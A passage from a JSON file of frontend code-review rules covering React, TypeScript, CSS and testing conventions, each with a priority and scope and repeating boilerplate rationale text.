example.","priority":"p2","scope":"universal"},{"title":"Scope third-party instances locally and dispose on unmount","rule":"Instantiate third-party widget/library objects as instance fields (not module globals) and destroy them on unmount, so behavior isn't leaked across all uses.","apiRule":"Instantiate third-party widget/library objects as instance fields (not module globals) and destroy them on unmount, so behavior isn't leaked across all uses. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't use an array when only a single value is needed","rule":"Model data with the shape it actually has; don't wrap a single value in a one-element array just to fit a loop or generic shape.","apiRule":"Model data with the shape it actually has; don't wrap a single value in a one-element array just to fit a loop or generic shape. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Import related symbols from a single canonical module","rule":"When several related exports live in one module, import them all from there in one statement rather than re-declaring or importing them piecemeal.","apiRule":"When several related exports live in one module, import them all from there in one statement rather than re-declaring or importing them piecemeal. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mock the clock in time-dependent tests","rule":"Tests asserting on dates/relative times must mock the current time so they don't break when the real date changes.","apiRule":"Tests asserting on dates/relative times must mock the current time so they don't break when the real date changes. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer IntersectionObserver over scroll listeners for visibility","rule":"Detect element visibility/sticky behavior with IntersectionObserver instead of scroll handlers that require throttling/debouncing and are more resource intensive.","apiRule":"Detect element visibility/sticky behavior with IntersectionObserver instead of scroll handlers that require throttling/debouncing and are more resource intensive. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use existing mixins instead of reimplementing common patterns","rule":"Reach for a shared mixin (e.g. text ellipsis) instead of hand-writing the same set of declarations, and promote a useful local mixin to the shared mixins file.","apiRule":"Reach for a shared mixin (e.g. text ellipsis) instead of hand-writing the same set of declarations, and promote a useful local mixin to the shared mixins file. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Include the base state in a grouped pseudo-class selector list","rule":"When several pseudo-class states share styling, include `&` in the comma-grouped selector list rather than duplicating the same rule for the base element separately.","apiRule":"When several pseudo-class states share styling, include `&` in the comma-grouped selector list rather than duplicating the same rule for the base element separately. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Comma-separate multiple transitioned properties","rule":"When transitioning more than one property, separate each property/duration pair with a comma; a space-separated list is not a valid multi-property transition.","apiRule":"When transitioning more than one property, separate each property/duration pair with a comma; a space-separated list is not a valid multi-property transition. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't compare booleans to true/false explicitly","rule":"Use a boolean expression directly in conditions instead of `=== true`/`=== false` or ternaries that just remap booleans.","apiRule":"Use a boolean expression directly in conditions instead of `=== true`/`=== false` or ternaries that just remap booleans. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep each component's styles in its own stylesheet","rule":"Put a component's styles in its own scoped stylesheet rather than importing an unrelated component's stylesheet just to reuse one rule.","apiRule":"Put a component's styles in its own scoped stylesheet rather than importing an unrelated component's stylesheet just to reuse one rule. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Write a unitless zero instead of rem-calc(0) or 0px","rule":"A zero length needs no unit or helper; write `0` rather than rem-calc(0) or 0px.","apiRule":"A zero length needs no unit or helper; write `0` rather than rem-calc(0) or 0px. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Guard event handlers against shape changes and duplicate fires","rule":"When reacting to external events, defensively access nested fields and short-circuit when the relevant value hasn't actually changed, since events can fire repeatedly.","apiRule":"When reacting to external events, defensively access nested fields and short-circuit when the relevant value hasn't actually changed, since events can fire repeatedly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name config keys and types generically when more uses are coming","rule":"When a setting will gain siblings, choose a general container name/type (e.g. adminSettings) instead of one tied to the single current feature, so future additions don't force a rename.","apiRule":"When a setting will gain siblings, choose a general container name/type (e.g. adminSettings) instead of one tied to the single current feature, so future additions don't force a rename. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer async/await over promise chains for readability","rule":"Where it improves clarity, use async/await instead of nested .then()/.catch() chains.","apiRule":"Where it improves clarity, use async/await instead of nested .then()/.catch() chains. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Encode URL components at the point the URL is built","rule":"Apply encodeURIComponent where the URL string is assembled, not far away in the caller, so encoding stays coupled to URL construction.","apiRule":"Apply encodeURIComponent where the URL string is assembled, not far away in the caller, so encoding stays coupled to URL construction. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't re-declare a CSS property already set on the element","rule":"Remove redundant declarations that duplicate a value already applied (e.g. a transition declared twice on the same rule).","apiRule":"Remove redundant declarations that duplicate a value already applied (e.g. a transition declared twice on the same rule). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Adjust line-height rather than padding for text vertical rhythm","rule":"To fix vertical spacing of text, tune line-height instead of adding padding, which keeps the box model tied to the type.","apiRule":"To fix vertical spacing of text, tune line-height instead of adding padding, which keeps the box model tied to the type. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep links in documentation valid","rule":"When editing docs/README, verify referenced URLs and instructions still point to the correct location instead of a dead or wrong link.","apiRule":"When editing docs/README, verify referenced URLs and instructions still point to the correct location instead of a dead or wrong link. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Wrap repeated sibling elements in a container for shared spacing","rule":"When rendering many sibling elements that share spacing/positioning, wrap them in a single container element rather than applying the same utility behavior to each one individually.","apiRule":"When rendering many sibling elements that share spacing/positioning, wrap them in a single container element rather than applying the same utility behavior to each one individually. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use the config value that semantically matches its purpose","rule":"Don't reuse a config value (e.g. a static-assets domain) for an unrelated purpose just because it happens to hold a similar string; pick the value whose meaning matches the use.","apiRule":"Don't reuse a config value (e.g. a static-assets domain) for an unrelated purpose just because it happens to hold a similar string; pick the value whose meaning matches the use. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid gratuitous blank lines inside CSS rule bodies","rule":"Don't scatter blank lines between declarations inside a single CSS rule; reserve blank lines for separating rules or deliberately grouped property blocks.","apiRule":"Don't scatter blank lines between declarations inside a single CSS rule; reserve blank lines for separating rules or deliberately grouped property blocks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Set explicit width and height on inline SVGs to prevent layout jumps","rule":"Give inline SVG icons explicit width/height so they don't render at huge intrinsic size during the brief window before stylesheets load.","apiRule":"Give inline SVG icons explicit width/height so they don't render at huge intrinsic size during the brief window before stylesheets load. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reuse existing assets and icons instead of adding duplicates","rule":"Before adding a new SVG, image, or static asset, check whether an equivalent one already exists and reuse it for consistency.","apiRule":"Before adding a new SVG, image, or static asset, check whether an equivalent one already exists and reuse it for consistency. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name custom color tokens using a canonical color-naming reference","rule":"When adding a new color to a design-system palette, derive its token name from a consistent color-naming reference instead of inventing ad-hoc names.","apiRule":"When adding a new color to a design-system palette, derive its token name from a consistent color-naming reference instead of inventing ad-hoc names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Give each module its own analytics category/action, not a copied one","rule":"Don't reuse another module's tracking category; set distinct, accurate analytics identifiers so events are attributable.","apiRule":"Don't reuse another module's tracking category; set distinct, accurate analytics identifiers so events are attributable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return Promise.resolve(undefined) for an explicit empty async result","rule":"When an async branch has nothing to return, resolve explicitly with undefined rather than returning an ambiguous empty value.","apiRule":"When an async branch has nothing to return, resolve explicitly with undefined rather than returning an ambiguous empty value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Name a class for what it actually does, not the layer folder it sits in","rule":"If a class only fetches/shapes data, call it a Provider/Service - don't label it a Controller just because of its location.","apiRule":"If a class only fetches/shapes data, call it a Provider/Service - don't label it a Controller just because of its location. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract a shared interface for props common to sibling components","rule":"When related components require the same props, define one shared interface they both extend instead of repeating the fields.","apiRule":"When related components require the same props, define one shared interface they both extend instead of repeating the fields. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Include identifying context in test assertion messages","rule":"Assertion failures should name the file/case under test so the message is actionable without spelunking.","apiRule":"Assertion failures should name the file/case under test so the message is actionable without spelunking. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the matching serialize/deserialize storage helpers for objects","rule":"When a storage wrapper offers object-aware methods (setObject/getObject), use them instead of manually JSON.stringify-ing into the string API.","apiRule":"When a storage wrapper offers object-aware methods (setObject/getObject), use them instead of manually JSON.stringify-ing into the string API. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Express layout dimensions in CSS, not inline in JS","rule":"Prefer setting sizes via stylesheets/class names over hardcoding width/height numbers in component code.","apiRule":"Prefer setting sizes via stylesheets/class names over hardcoding width/height numbers in component code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type timer handles as number via window.setTimeout in the browser","rule":"Avoid any for setTimeout handles; type them as number and call window.setTimeout to get the browser return type.","apiRule":"Avoid any for setTimeout handles; type them as number and call window.setTimeout to get the browser return type. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Compare dates by timestamp, not by object identity","rule":"Use getTime() (or valueOf) when comparing Date instances; comparing Date objects directly with relational operators is unreliable/misleading.","apiRule":"Use getTime() (or valueOf) when comparing Date instances; comparing Date objects directly with relational operators is unreliable/misleading. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use Array.some for boolean membership checks instead of find","rule":"When you only need to know whether any element matches, use .some (returns a boolean) rather than .find (returns the element).","apiRule":"When you only need to know whether any element matches, use .some (returns a boolean) rather than .find (returns the element). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use ReactNode as the render return type for flexibility","rule":"Prefer ReactNode over the narrower JSX.Element for component render return types so the component can also return strings, null, or fragments.","apiRule":"Prefer ReactNode over the narrower JSX.Element for component render return types so the component can also return strings, null, or fragments. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use https URLs instead of http","rule":"Default outbound and asset links to https to avoid mixed-content warnings and insecure requests.","apiRule":"Default outbound and asset links to https to avoid mixed-content warnings and insecure requests. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Render the heavy branch conditionally rather than computing then discarding it","rule":"Gate the render call itself on the enabled flag instead of always building the content and hiding it inside the render method.","apiRule":"Gate the render call itself on the enabled flag instead of always building the content and hiding it inside the render method. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use the double-colon syntax for CSS pseudo-elements","rule":"Write ::before/::after rather than :before/:after to distinguish pseudo-elements from pseudo-classes.","apiRule":"Write ::before/::after rather than :before/:after to distinguish pseudo-elements from pseudo-classes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid the any type; declare precise types","rule":"Replace any with a concrete type, union, or generic so the compiler and IDE can catch mistakes and provide hints.","apiRule":"Replace any with a concrete type, union, or generic so the compiler and IDE can catch mistakes and provide hints. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Do not introduce an enum with a single member","rule":"A one-member enum adds ceremony without value; use it only when you genuinely expect more members soon, otherwise use a plain constant.","apiRule":"A one-member enum adds ceremony without value; use it only when you genuinely expect more members soon, otherwise use a plain constant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Replace repeated type-switch conditionals with polymorphism","rule":"When the same value is switched on in multiple places to vary behavior, model it with subtypes/strategy objects instead of duplicated conditionals.","apiRule":"When the same value is switched on in multiple places to vary behavior, model it with subtypes/strategy objects instead of duplicated conditionals. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't inline large SVGs that balloon the bundle when a cacheable asset works","rule":"Inlining an SVG into the JS bundle can multiply its size; for non-critical icons prefer a referenced/cacheable asset (e.g. a span with a background or external file) loaded separately.","apiRule":"Inlining an SVG into the JS bundle can multiply its size; for non-critical icons prefer a referenced/cacheable asset (e.g. a span with a background or external file) loaded separately. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set up lint guardrails before adopting a new language/library feature","rule":"When introducing a new API with usage rules (e.g. hooks), add the matching lint rules first so the team's usage is enforced from the start.","apiRule":"When introducing a new API with usage rules (e.g. hooks), add the matching lint rules first so the team's usage is enforced from the start. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Omit a tracking action that the parent already provides, or it serializes as undefined","rule":"Don't add an empty/duplicate analytics action on a child when the parent already supplies one; an unset action on the child can render as 'undefined' instead of inheriting.","apiRule":"Don't add an empty/duplicate analytics action on a child when the parent already supplies one; an unset action on the child can render as 'undefined' instead of inheriting. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Toggle responsive visibility on the layout container, not just the inner element","rule":"Hiding only a child element while its grid/flex container remains can break the layout; apply the show/hide class to the cell/container so spacing stays correct.","apiRule":"Hiding only a child element while its grid/flex container remains can break the layout; apply the show/hide class to the cell/container so spacing stays correct. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use the design-system breakpoint mixin and the right range modifier","rule":"Apply responsive styles through the shared breakpoint mixin, and be precise about 'only' vs 'up'/'down' — `breakpoint(x)` defaults to 'x up', use 'x only' to target a single range.","apiRule":"Apply responsive styles through the shared breakpoint mixin, and be precise about 'only' vs 'up'/'down' — `breakpoint(x)` defaults to 'x up', use 'x only' to target a single range. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Reference CSS-module class names through the imported styles object","rule":"In a CSS-modules setup, use styles.x (the imported, locally-scoped name) rather than a hardcoded string class, so scoping is preserved.","apiRule":"In a CSS-modules setup, use styles.x (the imported, locally-scoped name) rather than a hardcoded string class, so scoping is preserved. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't hand-write vendor prefixes when autoprefixer is in the pipeline","rule":"With autoprefixer configured, write the unprefixed CSS property; manual -webkit-/-moz-/-ms- prefixes are redundant noise.","apiRule":"With autoprefixer configured, write the unprefixed CSS property; manual -webkit-/-moz-/-ms- prefixes are redundant noise. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Do not borrow design tokens across unrelated feature domains","rule":"Add a needed color/token to the shared or correct palette instead of reaching into another product/feature's token set; keep design tokens scoped to where they belong.","apiRule":"Add a needed color/token to the shared or correct palette instead of reaching into another product/feature's token set; keep design tokens scoped to where they belong. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer async/await over manual Promise construction","rule":"Use async/await for asynchronous flow instead of hand-written `new Promise`/`.then` chains where await reads more clearly.","apiRule":"Use async/await for asynchronous flow instead of hand-written `new Promise`/`.then` chains where await reads more clearly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use an arrow class property instead of a bind decorator/helper for handlers","rule":"Bind decorators can be flaky; define handlers as arrow class properties so `this` is bound naturally.","apiRule":"Bind decorators can be flaky; define handlers as arrow class properties so `this` is bound naturally. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Trigger UI on focus, not only click, for keyboard accessibility","rule":"Handlers that reveal options on interaction should respond to focus as well as click so keyboard/tab users get the same behavior.","apiRule":"Handlers that reveal options on interaction should respond to focus as well as click so keyboard/tab users get the same behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use a Fragment instead of a wrapper div when grouping siblings","rule":"When you only need to return adjacent elements without an extra DOM node, use a Fragment rather than wrapping them in a meaningless div.","apiRule":"When you only need to return adjacent elements without an extra DOM node, use a Fragment rather than wrapping them in a meaningless div. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Drop empty segments with filter(Boolean) instead of regex trimming","rule":"When splitting a path and removing empty leading/trailing segments, split then filter out falsy entries rather than pre-trimming with a regex.","apiRule":"When splitting a path and removing empty leading/trailing segments, split then filter out falsy entries rather than pre-trimming with a regex. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use Array/String includes() instead of indexOf() !== -1","rule":"For a presence check, .includes() reads more clearly than comparing .indexOf() against -1.","apiRule":"For a presence check, .includes() reads more clearly than comparing .indexOf() against -1. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Update keys on a shared object in place rather than reassigning it","rule":"When a module-level config object must be updated, mutate the specific keys instead of spreading into a new object and reassigning, which can silently retain stale keys across calls.","apiRule":"When a module-level config object must be updated, mutate the specific keys instead of spreading into a new object and reassigning, which can silently retain stale keys across calls. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Replace separate open/close handlers with a single toggle","rule":"When two handlers only set a boolean to true and false, collapse them into one toggle handler that negates the current value.","apiRule":"When two handlers only set a boolean to true and false, collapse them into one toggle handler that negates the current value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Start method and function names with a lowercase letter","rule":"Methods and ordinary functions use camelCase starting lowercase; reserve PascalCase for classes/components. Also name handlers by what they do.","apiRule":"Methods and ordinary functions use camelCase starting lowercase; reserve PascalCase for classes/components. Also name handlers by what they do. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pull shared methods up into the base class to eliminate duplication","rule":"When subclasses repeat the same method, move it to the base class (abstract or concrete) rather than copying it into each subclass.","apiRule":"When subclasses repeat the same method, move it to the base class (abstract or concrete) rather than copying it into each subclass. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Declare base classes that are never instantiated as abstract","rule":"A class meant only to be extended should be declared abstract so it cannot be instantiated directly and its intent is explicit.","apiRule":"A class meant only to be extended should be declared abstract so it cannot be instantiated directly and its intent is explicit. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep flags that do not affect render out of component state","rule":"A boolean used only for internal bookkeeping (not read during render) should be an instance field, not state, so updating it does not trigger an unnecessary re-render.","apiRule":"A boolean used only for internal bookkeeping (not read during render) should be an instance field, not state, so updating it does not trigger an unnecessary re-render. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Provide explicit typings for third-party globals instead of `any`","rule":"When a vendor SDK lacks types, write a best-effort interface for the parts you use; even imperfect typings beat `any`.","apiRule":"When a vendor SDK lacks types, write a best-effort interface for the parts you use; even imperfect typings beat `any`. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad 